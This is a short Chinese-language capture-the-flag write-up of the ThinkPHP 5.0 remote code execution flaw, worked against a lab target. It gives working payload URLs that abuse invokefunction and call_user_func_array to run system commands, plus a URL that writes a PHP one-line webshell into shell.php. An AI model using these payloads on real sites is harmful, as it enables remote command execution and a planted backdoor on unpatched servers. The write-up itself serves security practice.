漏洞概述
我们知道在ThinkPHP5中是有远程代码执行漏洞的。这个漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。
write up
靶场信息:
影响范围
ThinkPHP 5.0.全版本
这个漏洞在测试当中发现该漏洞并不通杀,还是得看复现的版本,目前所测试的情况如下:
当前映射80端口为47052,我们访问该地址
我们可以构造payload来测试下命令执行漏洞:
http://ctf.wangdun.cn:47052/
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd
命令成功执行,当然此时我们可以直接去查看tmp目录下的flag了
http://ctf.wangdun.cn:47052/
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /tmp
当然这里的操作思路还有其他,比方说可以直接写入webshell,比方说这里直接插入一句话
http://ctf.wangdun.cn:47052/
/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20@eval($_POST[pass])?%3E
大家可以去测试下,我是mac电脑,所以没法用菜刀去尝试了,大家可以去尝试下